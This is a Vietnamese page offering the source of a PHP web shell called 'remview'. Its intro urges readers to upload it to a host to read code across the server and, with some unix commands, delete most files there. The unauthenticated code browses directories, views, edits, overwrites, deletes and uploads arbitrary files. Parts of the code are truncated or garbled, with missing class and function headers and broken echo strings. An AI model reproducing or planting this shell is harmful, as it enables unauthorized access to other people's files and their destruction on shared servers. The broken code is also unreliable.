View code bằng file PHP ppt

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Copy nội dung sau thành 1 file *.php. Up lên server, chạy file đó, bạn có thể
xem code của hầu hết các file trong host, chịu khó tìm hiểu 1 chút thì có thể
view code toàn server, hoạc thêm chút lệnh của unix nữa là có thể xóa del hầu
hết mí file trong đó.
<?php
$default_directory = dirname($PATH_TRANSLATED);
$show_icons = 0; define("REMY_EXPLORER_VERSION", "v1.0");
define("BACKGROUND_COLOR", "\"#000000\"");
define("FONT_COLOR", "\"#ffffff\"");
define("TABLE_BORDER_COLOR", "\"#ffffff\"");
define("TABLE_BACKGROUND_COLOR", "\"#000000\"");
define("TABLE_FONT_COLOR", "\"#ffffff\"");
define("COLOR_PRIVATE", "\"#ffbb99\"");
define("COLOR_PUBLIC", "\"#000000\"");
define("TRUE", 1);
define("FALSE", 0);
if (!isset($dir)) $dir = $default_directory;
$dir = stripslashes($dir);
$dir = str_replace("\\", "/", $dir);
$associations = array( "gif" => array( "function" => "viewGIF", "icon" =>
"icons/image2.gif" ), "jpg" => array( "function" => "viewJPEG", "icon" =>
"icons/image2.gif" ), "jpeg" => array( "function" => "viewJPEG", "icon" =>
"icons/image2.gif" ), "wav" => array( "function" => "", "icon" =>
"icons/sound.gif" ), "mp3" => array( "function" => "", "icon" =>
"icons/sound.gif" ) );
if ($action != "view"): ?>
<html>
<head>
<title>HOANGINLOVE Explorer - remview</title>
<style type="text/css">

<! .body { font-family: 'Verdana'; font-size: 13; color: <? echo FONT_COLOR;
?> } table, div, tr, td
{font: 13 'Verdana'; color: <? echo TABLE_FONT_COLOR; ?> }
a {text-decoration: none; color: "#00ff00" }
a:hover {text-decoration: underline; color: "#ff0000" }
> </style> </head>
<body class="body" bgcolor=<? echo BACKGROUND_COLOR; ?>> <? endif;
function readDirectory($directory)
{ global $files, $directories, $dir;
$files = array();
$directories = array();
$a = 0; $b = 0;
$dirHandler = opendir($directory);
while ($file = readdir($dirHandler))
{ if ($file != "." && $file != " ")
{ $fullName = $dir.($dir == "/" ? "" : "/").$file;
if (is_dir($fullName)) $directories[$a++] = $fullName;
else $files[$b++] = $fullName; } }
sort($directories); sort($files); };
function showInfoDirectory($directory)
{ global $PHP_SELF; $dirs = split("/", $directory);
print "<b>Directory /"; for ($i = 1; $i < (sizeof($dirs));
$i++) { print "<a href=\"$PHP_SELF?dir=";
for ($a = 1; $a <= $i; $a++) echo "/$dirs[$a]"; echo "\">$dirs[$i]";
if ($directory != "/") echo "/"; } print "</b>\n";
print "Free space on disk: ";
$freeSpace = diskfreespace($directory);
if ($freeSpace/(1024*1024) > 1024) printf("%.2f GBytes",
$freeSpace/(1024*1024*1024));
else echo (int)($freeSpace/(1024*1024))."Mbytes\n"; };

$perms .= ($mode & 00002) ? "w" : "-";
$perms .= ($mode & 00001) ? "x" : "-"; return $perms; }
function getInfo($file)
{ $this->name = basename($file);
$this->path = dirname($file);
$this->fullname = $file; $this->isDir = is_dir($file);
$this->lastmod = date("m/d/y, H:i", filemtime($file));
$this->owner = fileowner($file);
$this->perms = $this->permissions(fileperms($file));
$this->size = filesize($file);
$this->isLink = is_link($file);
if ($this->isLink) $this->linkTo = readlink($file);
$buffer = explode(".", $this->fullname);
$this->extension = $buffer[sizeof($buffer)-1]; } };
$fileInfo = new fileInfo; function showFileInfo($fileInfo)
{ global $PHP_SELF, $associations; echo "\n<tr
bgcolor=".TABLE_BACKGROUND_COLOR." align=\"center\">";
if ($show_icons) {
echo "<td>"; if ($fileInfo->isDir) echo "<img src=\"icons/dir.gif\">";
elseif ($associations[$fileInfo->extension]["icon"] != "") echo "<img
src=\"".$associations[$fileInfo->extension]["icon"]."\">";
else echo "<img src=\"icons/generic.gif\">"; echo "</td>"; } echo "<td
align=\"left\"";
if ($fileInfo->perms[7] == "w") echo " bgcolor=".COLOR_PUBLIC;
if ($fileInfo->perms[6] == "-") echo " bgcolor=".COLOR_PRIVATE; echo ">";
if ($fileInfo->isLink) { echo $fileInfo->name." -> ";
$fileInfo->fullname = $fileInfo->linkTo;
$fileInfo->name = $fileInfo->linkTo; }
if ($fileInfo->isDir) { echo "<b>fullname\" ";
echo ">$fileInfo->name</b>"; }

else echo $fileInfo->name;
echo "</td>";
echo "<td>$fileInfo->size</td>";
echo "<td>$fileInfo->lastmod</td>";
echo "<td>$fileInfo->perms</td>";
echo "<td>"; if (!$fileInfo->isDir) {
if ($fileInfo->perms[6] == 'r') { echo "fullname&action=view\"> View"; }
if ($fileInfo->perms[7] == 'w') {
echo "fullname&action=edit\"> Edit"; echo "fullname&action=delete\"> Del"; }
}
echo "</tr>"; };
function viewFile($file)
{ global $associations, $fileInfo;
$fileInfo->getInfo($file);
if (!$associations[$fileInfo->extension] || $associations[$fileInfo-
>extension]["function"] == "") showFile($file);
else $associations[$fileInfo->extension]["function"]($file); };
function showFile($file, $editing = 0)
{ global $PHP_SELF, $dir; $handlerFile = fopen($file, "r") or die("ERROR opening
file $file");
if ($editing) echo "<h3>
<b>Edit file $file</b></h3><hr>";
else echo "<h3><b>File $file</b></h3><hr>";
echo "<form";
if ($editing) echo " action=\"$PHP_SELF?action=save&dir=$file\"
method=\"post\"";
echo ">";
$buffer = fread($handlerFile, filesize($file));
$buffer = str_replace("&", "&", $buffer);
$buffer = str_replace("<", "<", $buffer);

$buffer = str_replace(">", ">", $buffer);
echo "<textarea wrap=\"off\" cols=\"90\" rows=\"20\"
name=\"text\">$buffer</textarea>";
if ($editing) echo "<p>
<input type=\"submit\" name=\"Submit\" value=\"Save
changes\"></p>\n</form>";
echo "</form>";
fclose($handlerFile); };
function saveFile($file)
{ global $dir, $text; $handlerFile = fopen($file, "w") or die("ERROR: Could not
open file ".basename($file)." for writing");
$text = stripslashes($text);
fwrite($handlerFile, $text, strlen($text)) or die("Error writing to file.");
fclose($handlerFile);
echo "Changes has been saved in ".basename($file)."<hr>";
$dir = dirname($file); };
function uploadFile()
{ global $HTTP_POST_FILES,$dir;
copy($HTTP_POST_FILES["userfile"][tmp_name],
$dir."/".$HTTP_POST_FILES["userfile"][name]) or die("Error uploading
file".$HTTP_POST_FILES["userfile"][name]);
echo "File ".$HTTP_POST_FILES["userfile"][name]." succesfully uploaded.";
//unlink($userfile); };
function deleteFile($file)
{ global $confirm;
if ($confirm != TRUE) die("Confirm deletion of $file");
else {
if (!unlink($file)) return FALSE; return TRUE; } };
function viewFileHeader($file, $header)
{ header($header); readfile($file); };

<input type="text" name="dir" size="20">
<input type="submit" value="Go"> </form> </td>
<? if ((fileperms($dir) & 00002)): ?> <td>
<form enctype="multipart/form-data" action="<? print
"$PHP_SELF?dir=$dir&action=upload"; ?>" method=post> <input
type="hidden" name="MAX_FILE_SIZE" value="1000000">
<input name="userfile" type="file">
<input type="submit" value="Upload file"> </form> </td>
<? endif; ?> </tr> </table> <p> <hr> </p> </body> </html> <? endif; ?>

View code bằng file PHP ppt

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